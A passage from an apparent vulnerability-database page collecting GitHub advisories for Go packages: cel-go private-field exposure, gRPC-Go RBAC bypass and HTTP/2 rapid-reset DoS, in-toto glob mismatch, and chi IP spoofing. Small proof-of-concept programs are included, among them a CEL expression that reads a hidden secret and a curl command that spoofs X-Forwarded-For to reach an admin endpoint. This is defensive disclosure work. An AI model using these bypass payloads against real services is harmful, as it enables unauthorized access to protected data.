https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n name := splits[0]\n return name\n }\n }\n\n return field.Name\n }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n return func(ntp *nativeTypeOptions) error {\n ntp.fieldNameHandler = fieldNameByTag(tag)\n return nil\n }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n fieldNames := make(map[string]struct{})\n\n for idx := 0; idx \u003c refType.NumField(); idx++ {\n field := refType.Field(idx)\n fieldName := toFieldName(fieldNameHandler, field)\n\n if _, found := fieldNames[fieldName]; found {\n return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n } else {\n fieldNames[fieldName] = struct{}{}\n }\n }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n if t, found := tp.nativeTypes[typeName]; found {\n fieldCount := t.refType.NumField()\n fields := make([]string, fieldCount)\n for i := 0; i \u003c fieldCount; i++ {\n fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n }\n return fields, true\n }\n if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n return celTypeFields, true\n }\n return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n t, found := tp.nativeTypes[typeName]\n if !found {\n return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n }\n refField, isDefined := t.hasField(fieldName)\n if !found || !isDefined {\n return nil, false\n }\n\n return \u0026types.FieldType{\n IsSet: func(obj any) bool {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return !refField.IsZero()\n },\n GetFrom: func(obj any) (any, error) {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return getFieldValue(refField), nil\n },\n }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n refVal := reflect.Indirect(o.refValue)\n refType := refVal.Type()\n fields := make(map[string]*structpb.Value, refVal.NumField())\n for i := 0; i \u003c refVal.NumField(); i++ {\n fieldType := refType.Field(i)\n fieldValue := refVal.Field(i)\n if !fieldValue.IsValid() || fieldValue.IsZero() {\n continue\n }\n fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n fieldCELVal := o.NativeToValue(fieldValue.Interface())\n fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n if err != nil {\n return nil, err\n }\n fields[fieldName] = fieldJSONVal.(*structpb.Value)\n }\n return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n nt, err := newNativeType(fieldNameHandler, rawType)\n if err != nil {\n return nil, err\n }\n result := []*nativeType{nt}\n\n var iterateStructMembers func(reflect.Type)\n iterateStructMembers = func(t reflect.Type) {\n if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n iterateStructMembers(t.Elem())\n return\n }\n if t.Kind() != reflect.Struct {\n return\n }\n\n nt, ntErr := newNativeType(fieldNameHandler, t)\n if ntErr != nil {\n err = ntErr\n return\n }\n result = append(result, nt)\n\n for idx := 0; idx \u003c t.NumField(); idx++ {\n iterateStructMembers(t.Field(idx).Type)\n }\n }\n iterateStructMembers(rawType)\n\n return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n )\n ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible. \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n \"encoding/json\"\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n\n structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n )\n\n ast, _ := env.Compile(`req.auth`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n\n jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n raw, _ := out.ConvertToNative(jsonStructType)\n\n st := raw.(*structpb.Struct)\n b, _ := json.MarshalIndent(st.AsMap(), \"\", \" \")\n fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n if v, ok := st.Fields[\"-\"]; ok {\n fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n \"-\": \"sk-live-s3cr3t\",\n \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
"id": "GHSA-gcjh-h69q-9w9g",
"modified": "2026-07-24T16:48:56Z",
"published": "2026-07-24T16:48:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
},
{
"type": "PACKAGE",
"url": "https://github.com/cel-expr/cel-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}
GHSA-HRXH-6V49-42GF
Vulnerability from github – Published: 2026-07-21 22:03 – Updated: 2026-07-21 22:03Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing
MetadataorRequestedServerNamefields. - Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing
NOTrules around unsupported fields.
Impact
What kind of vulnerability is it? Who is impacted?
xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers
- Affected Component: xDS RBAC
- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported
permissionandprincipalrules (specificallyMetadataandRequestedServerName) were silently ignored and treated as no-ops. - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
- If these unsupported rules were nested inside logical
NOTrules (Permission_NotRule/Principal_NotId) or multi-conditionOR/ANDrules, silently dropping them changed the boolean logic flow of the authorization engine.
As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.
HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts
- Affected Component: HTTP/2 transport
- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as
SETTINGSACKs or server-initiatedRST_STREAMs.
When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).
Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules
- Affected Component: xDS RBAC
- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a
NOTrule wrapped an unsupported or unhandled field (such asSourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.
An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).
Patches
Has the problem been patched? What versions should users upgrade to?
All three issues have been fixed in master and will be released in 1.82.1 shortly.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:
- For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing
Metadata,RequestedServerName, orNOTrules wrapping unsupported fields (such asSourcedMetadata) to grpc-go servers. - For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2
max_concurrent_streamslimits and active rate limiting onRST_STREAMfrequency per connection.
Severity
| Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |
|---|---|---|---|
| xDS RBAC Authorization Bypass | High | 8.2 |
Unauthorized Access / Fail-Open |
| HTTP/2 Rapid Reset DOS Bypass | High | 7.5 |
High CPU Consumption / Denial of Service |
| xDS RBAC Engine Server Panic | Medium | 5.9 |
Process Crash / Denial of Service |
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "google.golang.org/grpc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.82.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-770",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T22:03:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:\n\n- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields.\n- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.\n- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields.\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n#### xDS RBAC Authorization Bypass via `Metadata` \u0026 `RequestedServerName` matchers\n\n- Affected Component: xDS RBAC \n- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported `permission` and `principal` rules (specifically `Metadata` and `RequestedServerName`) were silently ignored and treated as no-ops.\n - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.\n- If these unsupported rules were nested inside logical `NOT` rules (`Permission_NotRule` / `Principal_NotId`) or multi-condition `OR/AND` rules, silently dropping them changed the boolean logic flow of the authorization engine.\n\nAs a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.\n\n#### HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts\n\n- Affected Component: HTTP/2 transport\n- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as `SETTINGS` ACKs or server-initiated `RST_STREAM`s.\n\nWhen a client initiated a rapid flood of stream creation (`HEADERS`) immediately followed by stream termination `RST_STREAM`, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).\n\n#### Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules\n\n- Affected Component: xDS RBAC \n- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a `NOT` rule wrapped an unsupported or unhandled field (such as `SourcedMetadata`), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.\n\nAn attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a `NOT` rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nAll three issues have been fixed in `master` and will be released in 1.82.1 shortly.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:\n\n* For xDS RBAC Vulnerabilities \u0026 Panics: Ensure that upstream xDS management servers do not push RBAC policies containing `Metadata`, `RequestedServerName`, or `NOT` rules wrapping unsupported fields (such as `SourcedMetadata`) to grpc-go servers.\n* For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 `max_concurrent_streams` limits and active rate limiting on `RST_STREAM` frequency per connection.\n\n### Severity\n\n | Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |\n | :--- | :--- | :--- | :--- |\n | **xDS RBAC Authorization Bypass** | **High** | `8.2` | Unauthorized Access / Fail-Open |\n | **HTTP/2 Rapid Reset DOS Bypass** | **High** | `7.5` | High CPU Consumption / Denial of Service |\n | **xDS RBAC Engine Server Panic** | **Medium** | `5.9` | Process Crash / Denial of Service |",
"id": "GHSA-hrxh-6v49-42gf",
"modified": "2026-07-21T22:03:56Z",
"published": "2026-07-21T22:03:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-hrxh-6v49-42gf"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/pull/9236"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/commit/4ea465d4ab98013f72a142fe0fc89c19770b2935"
},
{
"type": "PACKAGE",
"url": "https://github.com/grpc/grpc-go"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/releases/tag/v1.82.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities"
}
GHSA-PMWQ-PJRM-6P5R
Vulnerability from github – Published: 2026-05-08 22:24 – Updated: 2026-05-08 22:24Impact
What kind of vulnerability is it? Who is impacted?
in-toto-golang and in-toto-python both support glob patterns in artifact rules to indicate the artifacts that a rule applies to. Both support negations in character classes to indicate what should not be matched, but they used different operators to indicate the negation. in-toto-python uses ! while in-toto-golang used ^. A layout authored with the expectations of one implementation can therefore exhibit different behavior in the other implementation.
This impacts users in a specific set of circumstances where two different implementations are used to verify the same layout + attestation bundle at different stages of the same pipeline. As a rule of thumb, we advise using a single implementation across all aspects of a pipeline, from layout creation to pipeline execution and verification to prevent this class of bugs.
Patches
Has the problem been patched? What versions should users upgrade to?
in-toto-golang has been updated to use ! instead of ^ to indicate negation. See https://github.com/in-toto/in-toto-golang/pull/462. This is part of v0.11.0.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/in-toto/in-toto-golang"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-168"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:24:19Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nin-toto-golang and in-toto-python both support glob patterns in artifact rules to indicate the artifacts that a rule applies to. Both support negations in character classes to indicate what should *not* be matched, but they used different operators to indicate the negation. in-toto-python uses `!` while in-toto-golang used `^`. A layout authored with the expectations of one implementation can therefore exhibit different behavior in the other implementation.\n\nThis impacts users in a specific set of circumstances where two different implementations are used to verify the same layout + attestation bundle at different stages of the same pipeline. As a rule of thumb, we advise using a single implementation across all aspects of a pipeline, from layout creation to pipeline execution and verification to prevent this class of bugs.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nin-toto-golang has been updated to use `!` instead of `^` to indicate negation. See https://github.com/in-toto/in-toto-golang/pull/462. This is part of v0.11.0.",
"id": "GHSA-pmwq-pjrm-6p5r",
"modified": "2026-05-08T22:24:19Z",
"published": "2026-05-08T22:24:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/in-toto/in-toto-golang/security/advisories/GHSA-pmwq-pjrm-6p5r"
},
{
"type": "WEB",
"url": "https://github.com/in-toto/in-toto-golang/pull/462"
},
{
"type": "WEB",
"url": "https://github.com/in-toto/in-toto-golang/commit/36d782ffb2ca3adbffcdce1fd971c23319dd4469"
},
{
"type": "PACKAGE",
"url": "https://github.com/in-toto/in-toto-golang"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "in-toto-golang and in-toto-python have inconsistent negation behavior"
}
GHSA-RJR7-JGGH-PGCP
Vulnerability from github – Published: 2026-06-25 18:19 – Updated: 2026-06-25 18:19Summary
realip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls
Details
the vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy
func realIP(r *http.Request) string {
var ip string
if tcip := r.Header.Get(trueClientIP); tcip != "" {
ip = tcip // controlled by attacker
} else if xrip := r.Header.Get(xRealIP); xrip != "" {
ip = xrip // controlled by attacker
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",") // controlled by attacker
}
// ...
return ip
}
no trusted proxy cidr check in place, any client can send these headers
PoC
create a server with chi and use realip middleware
package main
import (
"fmt"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
r.Use(middleware.RealIP)
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
// ip-based access control got bypassed
if r.RemoteAddr == "127.0.0.1" {
w.Write([]byte("SECRET ADMIN DATA"))
return
}
http.Error(w, "Forbidden", 403)
})
http.ListenAndServe(":8080", r)
}
spoofed the ip to bypass access control
curl -H "X-Forwarded-For: 127.0.0.1" http://localhost:8080/admin
Impact
- ip-based access control bypass lets attackers reach restricted endpoints
- rate limiting bypass lets attackers avoid limits by rotating spoofed ips
- audit logs show fake ips picked by attacker instead of real ones
- attackers can get around geo ip restrictions
Remediation Recommendation
validate proxy cidr first before trusting forwarded ip headers
// add your reverse proxy ip addresses here
var trustedProxies = []net.IPNet{
{IP: net.ParseIP("10.0.0.0"), Mask: net.CIDRMask(8, 32)},
{IP: net.ParseIP("172.16.0.0"), Mask: net.CIDRMask(12, 32)},
{IP: net.ParseIP("192.168.0.0"), Mask: net.CIDRMask(16, 32)},
}
func isTrustedProxy(ip net.IP) bool {
for _, cidr := range trustedProxies {
if cidr.Contains(ip) {
return true
}
}
return false
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v2/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v3/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v4/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:19:15Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nrealip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls\n\n### Details\n\nthe vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy\n\n```go\nfunc realIP(r *http.Request) string {\n var ip string\n if tcip := r.Header.Get(trueClientIP); tcip != \"\" {\n ip = tcip // controlled by attacker\n } else if xrip := r.Header.Get(xRealIP); xrip != \"\" {\n ip = xrip // controlled by attacker\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\") // controlled by attacker\n }\n // ...\n return ip\n}\n```\n\nno trusted proxy cidr check in place, any client can send these headers\n\n### PoC\n\ncreate a server with chi and use realip middleware\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n r.Use(middleware.RealIP)\n\n r.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n // ip-based access control got bypassed\n if r.RemoteAddr == \"127.0.0.1\" {\n w.Write([]byte(\"SECRET ADMIN DATA\"))\n return\n }\n http.Error(w, \"Forbidden\", 403)\n })\n\n http.ListenAndServe(\":8080\", r)\n}\n```\n\nspoofed the ip to bypass access control\n\n```bash\ncurl -H \"X-Forwarded-For: 127.0.0.1\" http://localhost:8080/admin\n```\n\n\n### Impact\n\n- ip-based access control bypass lets attackers reach restricted endpoints\n- rate limiting bypass lets attackers avoid limits by rotating spoofed ips\n- audit logs show fake ips picked by attacker instead of real ones\n- attackers can get around geo ip restrictions\n\n## Remediation Recommendation\n\nvalidate proxy cidr first before trusting forwarded ip headers\n\n```go\n// add your reverse proxy ip addresses here\nvar trustedProxies = []net.IPNet{\n {IP: net.ParseIP(\"10.0.0.0\"), Mask: net.CIDRMask(8, 32)},\n {IP: net.ParseIP(\"172.16.0.0\"), Mask: net.CIDRMask(12, 32)},\n {IP: net.ParseIP(\"192.168.0.0\"), Mask: net.CIDRMask(16, 32)},\n}\n\nfunc isTrustedProxy(ip net.IP) bool {\n for _, cidr := range trustedProxies {\n if cidr.Contains(ip) {\n return true\n }\n }\n return false\n}\n```",
"id": "GHSA-rjr7-jggh-pgcp",
"modified": "2026-06-25T18:19:15Z",
"published": "2026-06-25T18:19:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcp"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "chi\u0027s RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.